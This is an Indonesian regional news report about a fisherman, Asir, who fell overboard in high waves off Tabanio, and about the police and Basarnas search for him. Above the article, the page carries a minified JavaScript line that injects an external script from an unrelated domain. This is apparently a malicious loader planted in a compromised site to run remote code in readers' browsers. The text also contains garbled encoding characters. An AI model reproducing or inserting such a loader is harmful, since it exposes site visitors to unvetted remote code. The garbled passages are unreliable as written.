(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Peristiwa

Gelombang Tinggi di Perairan Tabanio, Nelayan Aluh-aluh Hilang di Laut

PELAIHARI, Seorang pria diduga terjatuh ke laut perairan Tabanio dekat dengan pulau Datu Kecamatan Panyipatan, Kabupaten Tanah Laut, Rabu (6/3) dinihari sekitar pukul 01.00 wita. Hingga saat ini petugas berwenang masih melakukan pencarian terhadap korban.

Diketahui, pria tersebut bernama Asir (42) warga Aluh-aluh Besar RT 12, Kecamatan Alu-aluh, Kabupaten Banjar yang berprofesi sebagai nelayan.

Kejadian berawal saat korban bersama temannya yaitu Ali tengah berangkat mencari ikan. Kemudian padaÃƒâ€šÃ‚Â malam harinya sewaktu mencari ikan tiba-tiba gelombang tinggi muncul di perairan Tabanio.

Kapolsek Aluh-Aluh Iptu Hadi Mulyono SE mengungkapkan, berdasarkan keterangan teman korban, saat itu posisi korban sedang berada di buritan kapal, tanpa sengaja kaki korban tersangkut tali lampara atau jaring ikan dan korban pun tercebur.

ÃƒÂ¢Ã¢â€šÂ¬Ã…â€œRekan korban tidak sempat menolong,Ãƒâ€šÃ‚Â karena gelombang yang cukup besar,ÃƒÂ¢Ã¢â€šÂ¬Ã‚Â ujarnya.

Hingga Rabu (6/3) siang,Ãƒâ€šÃ‚Â petugas masih melakukan pencarian terhadap korban.

Polsek Aluh-aluh mendapat laporan rekan korban langsung melakukan pencarian menggunakan speed boat.

Pencarian jga dilakukan Kantor Pencarian dan Pertolongan (Basarnas) Banjarmasin dan Polairud turut melakukan pencarian terhadap korban. Tercatat puluhan personil berperalatan lengkap terus melakukan pencarian meski kondisi cuaca tidak mendukung. (rico)

Reporter: Rico
Editor: Abi Zarrin Al Ghifari